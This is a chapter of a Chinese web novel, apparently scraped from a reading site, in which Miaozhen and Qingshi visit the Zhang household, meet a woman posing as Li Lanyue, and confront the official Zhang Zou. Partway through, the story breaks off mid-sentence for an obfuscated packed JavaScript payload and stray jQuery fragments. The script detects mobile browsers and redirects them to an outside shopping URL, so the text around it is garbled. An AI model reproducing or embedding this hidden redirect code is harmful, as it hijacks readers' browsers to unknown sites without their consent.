默认冷灰
24号文字
方正启体

13. 张府

作者:花花树树本书字数:K更新时间:
    每次从薛家前往青云书肆的路总是格外漫长,需从兰台街往西行近十里路,路上还要途径三五个拥杂的闹市,总要花费上半个多时辰,妙真只得闭目养神默念些静执经文。


    念着念着,思绪又是止不住的飘远。虽是线索纷杂无序,她却总有种正一步一步向着漩涡中央走的直觉,若继续留在薛家,说不定还会给薛家兄妹惹来麻烦。自己身上应当留有些银钱,或许这个阶段该租个宅子出去才好。


    青士见妙真上车就闭着眼,忍不住道:“妙真,这路途实在长,要不我们说会话吧。”


    妙真这才睁开眼,随后想了想开口问道:“符约为何把你派来了,难道张家凶险万分?”


    “公子有自己的考量,我没再多问。”青士内心腹诽,这其实也是他想问的。


    虽说青士现今盯着一张中年人的脸,举手投足间还是有些少年模样,妙真好奇问道:“你多大了?”


    青士琢磨了片刻:“感觉应该十有六七了。”


    “怎么还感觉应该?“妙真疑惑地看向他。


    青士笑了笑,答道:“我惯记不住年龄,都要靠着公子提醒。”


    俩人有一搭没一搭的聊着,气氛好似融洽了些,不知不觉间也就到了青云书肆。掀开车帘便瞧见书肆门前站着三两个人和架车马。


    这车马着实要比妙真二人所乘的精致许多,听见动静,车马正前端的人小跑过来,瞧见妙真的样子显然一愣,却连忙反应过来笑着开口:“竟然是娘子您啊,这真是巧了。”


    妙真看清来人,不妙感却油然而生,此人正是那日在张府门前,看着十分面善、好言劝离她们的婆子。


    这婆子如今奉了主人之令来寻赠香之人,便代表她定是张家所信任并重用的人,那她那日什么‘粗使婆子不进内宅’的托词全都不可信,她身上不带药香,说明府中并无人缠绵病榻,那李兰月为何会被禁止探视?


    妙真仔细审视了她片刻,她所着衣装与那日大不相同,虽非富贵布料,却整洁规制,并非寻常下人所穿。


    “是你啊。”妙真平淡开口,眼神都没停留,带着青士往书肆门前走。


    “娘子,我是张家门房的嬷嬷,姓杜。”婆子谄媚地拦下,面上一如往常套着一层善意的笑,问道:“我家大人得了一盒安神香,不知是否是出自娘子之手?”


    试探意味颇深,妙真正斟酌开口,旁边的青士却厉声道:“什么大人?我家的香从不赠予什么大人!”


    “啊……就是中尚方令,张奏张大人。娘子,咱们是见过的呀,那日在张家门前……”青士这张脸有些唬人,加之他特意把声音压的粗糙嘶哑,着实有些可怖,吓得那杜嬷嬷腿一打颤。


    “什么张家?哦我想起来了,那日受人之托去张府,给你们李娘子递交信物,就是你这老货不让进的吧?”青士冷笑,揣手站在妙真身前,拦住了杜嬷嬷的视线,易容出的横肉颤动,大声道:“如今却想来要香,门都没有!”


    青士佯装疾言厉色,却是打消了那杜嬷嬷觉得妙真换个法子接近张家的想法,想到自家大人现在等着那香救命,她只能厚脸皮陪笑道:“妙真娘子,那日确实是我招待不周,我家娘子缠绵病榻,如今见好了,我本正要去寻娘子您呢,不曾想今日在这见到了,这岂不是缘分使然?”


    “李娘子见好了?”妙真看向那杜嬷嬷,她忙不迭连连点头。


    撒谎。


    “你家大人从何而来的香?”妙真问。


    “是好友所赠,我家大人这阵忧思过度,白日头痛,夜间梦魇,遍访名医,针灸都少说有几十次。”杜嬷嬷哀叹,紧接着神色却转成喜色,“谁知昨日大人好友送来一盒香,只说焚之有效,大人试用一夜,居然安睡无梦!”


    “香没了想到找我们了,天下哪有这种美事。”青士嗤笑,很是不屑。


    杜嬷嬷对此等冷嘲热讽只能佯装听不见,对着妙真继续展开攻势,“我家李娘子醒后听闻娘家来人,也很是开心,就在家中等着与您相见呢。”


    妙真此时也学会了青士欲擒故纵那一招数,正色道:“我与李娘子并不相识,那日也是受人之托,若好了我就放心了,不再去贵府叨饶了。”


    闻此一言杜嬷嬷的猜忌彻底烟消云散,她紧忙恳切求道:“娘子您菩萨心肠,连玉笙坊的乐师都愿意赠安神香,如今我家大人生不如死,还望姑娘赠香,我家大人愿意以重金求得!”


    “此香名为嗜月,是我家主人独创,期间原料更是益州幽谷山间所采,各人体质有差,此香所需用料要看性别、年龄调配不同,否则会有损身体,你家大人还是别去他人手中讨香了。”妙真淡声交代,见她态度稍缓,杜嬷嬷连连称是。


    “先前您未见到我家娘子,又间接助我家大人入眠,今日老奴特代主相邀,还望娘子赏脸。”


    青士暗中观察这张府派来的剩下两人,看着都是憨厚瘦弱的,估计是杜嬷嬷手下的人,不成气候,思虑完便冲着妙真微不可见地点了点头。


    妙真状似为难地松口:“好吧。”


    张家把看人下菜碟发挥到了极致,妙真带着青士一路走来半点阻碍都没有,张府三进三出的院舍,愣是一点路都没绕,直接就将她领到了李兰月的院子。


    “你见过李兰月吗?”临近门前,妙真忽而低声问道。


    “公子给我看过画像,瞧着是个婉约貌美的娘子。”青士小声回。


    妙真未作声,继续往前去了。


    院内景致明显不同于整个张府,花草错落有致,藤架下扎有秋千,上面软垫齐备。前方不远的院落一角蓄有水池,水池间锦鲤交织,追逐戏游,生龙活虎。


    见妙真看着那池子,杜嬷嬷眉开眼笑开口:“这都是我家娘子喜欢的,娘子爱赏鱼,公子特让人凿了水池。这秋千,也是公子亲自扎的,娘子先前很喜欢在这里看书赏花。”


    妙真点点头,可见李兰月先前在张家过得应当还不错。


    到了屋前,杜嬷嬷先叩了门,里面隐隐约约传来应声。内宅妇人屋舍青士不得进,便和妙真招呼一声退至廊角,妙真一人随嬷嬷走了进去。


    虽天气濡热,屋内却清凉,窗前帷帐直垂地面,只能看见床上半卧着一个女子倩影。


    妙真将那块狸形木牌拿了出来,杜嬷嬷赶紧接过,从那帷帐中间递了进去。


    那道身影将那木牌来来回回翻看,柔声问:”这是兰章所作,娘子是他的朋友吧?兰章他……近来可好?”


    “娘子和他骨血相连,手足至亲,一直没有联络吗?”妙真审视那道身影。


    只听得帷幔里一声叹气,苦笑说:“我自嫁到张府,与娘家几乎没有联系,当年我爹不同意这门婚事,故而我嫁过来后,与断了亲别无二致。”


    门外脚步声匆匆响起,由远及近,临近门口半分停留也无,直接


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568734|204854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    推开了门。


    妙真回身望去,那人圆领裾袍,清瘦非常,却看着神采奕奕。他飞速的将门关上,半步不停的走到床边,连个眼神都没给妙真,对着床上的人兴高采烈的说:“阿月!那浔水湖边百花正盛,据说这几日引来了许多蝴蝶,明日我们可要同去!”


    “都听夫君的。”李兰月语调娇羞,柔声开口。


    被称呼夫君的张镜竹却目光愣愣,疑惑问道:“娘子病还没好吗,怎么还是这个声音?”


    “风寒罢了,夫君不必忧心。”李兰月安慰道,又轻轻拍了拍他的手,“今日还有客人在,这位姑娘是兰章的朋友。”


    “兰章……”张镜竹默念几声,随后终于将目光移到了妙真身上。


    妙真看着张镜竹的神情,开口:“兰章不日就要到京中了,他思娘子心切,到时我再来与之一起拜访娘子吧,今日不打扰了。”


    李兰月沉默片刻,好像点了点头,柔声对杜嬷嬷吩咐:“杜嬷嬷,劳烦将这位娘子送出去吧。”


    见妙真出来后,青士很快就围过来,却见她面色凝重,原本手腕上那玉珠扯在手心中,只露出半指长的红绳,这是妙真心中焦躁的表现。青士暗暗疑惑,还未开口问,旁边的杜嬷嬷先一步开口:“娘子,如此便随老奴去见我家大人吧。”


    妙真一言不发,提步走去。杜嬷嬷一看对方如此顺从,立刻乐着走在前头带路。


    青士凑近上去,妙真目光未改,只轻声对身侧的他说:“青士,你暗探的本事我见过,你可能得帮我个忙。”


    青士皱眉,低头过去仔细听她把后面的话说完,听完后面色复杂地打量妙真许久。


    “不必担心,你家世子既放心只有我们两个来,便定会有善后的本事。”妙真轻描淡写。


    青士了然地颔首,心想自己家公子是个疯子,他所看上的这位妙真多半也不是正常人,人的执念若是太深,便定要奋力一搏。


    本是自顾走在前头,杜嬷嬷忽然只听得耳边传来一声极大的抽气声,回头一看,那妙真身边的汉子紧紧捂着肚子,脸上发白,额上冷汗直冒,看他那架势杜嬷嬷立刻明白过来,连忙往东边指:“小郎君快去那边方便吧,就在院子最东边廊角那里。”


    青士哎呦哎呦一瘸一拐地离开了。


    妙真随其走了半刻便到了正屋书房,随即便见到了所谓的张家主君张奏,书房内烟雾蒙蒙,熏香浓厚,多味香料交织在一起只觉得如同硝烟般刺鼻,妙真止不住皱起眉头。


    透过层层烟雾,隐约可见张奏的身影,他靠坐书房太师椅上,听见妙真近来才堪堪抬起眼皮看她。张奏身着浅绯褶袍,袖口有镶缝,妙真想起符约说张奏早已告假多日,却在自家书房依旧身着官服,可见他这人不是一般的心高气傲。他眼下黑青,唇色苍乌,面带倦色,看似已受失眠磋磨多时。


    张奏没有说话,只是闭着眼,一手扶着额头,对站在正中妙真视而不见。


    妙真并不在乎这些,她看着张奏,一言不发。


    二人僵持良久,屋内的仆从女使早都冷汗直冒,杜嬷嬷犹豫着,终是上前赔笑:“娘子,这是我家大人,就职中尚方令,官从七品。”


    行礼啊,杜嬷嬷心中默念,张大人可最看重礼数。


    “无需介绍,我自是知道他是谁。”妙真冷笑,她也向来不喜欢这些虚与委蛇,质问道:“张奏,你将李兰月弄到哪去了?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)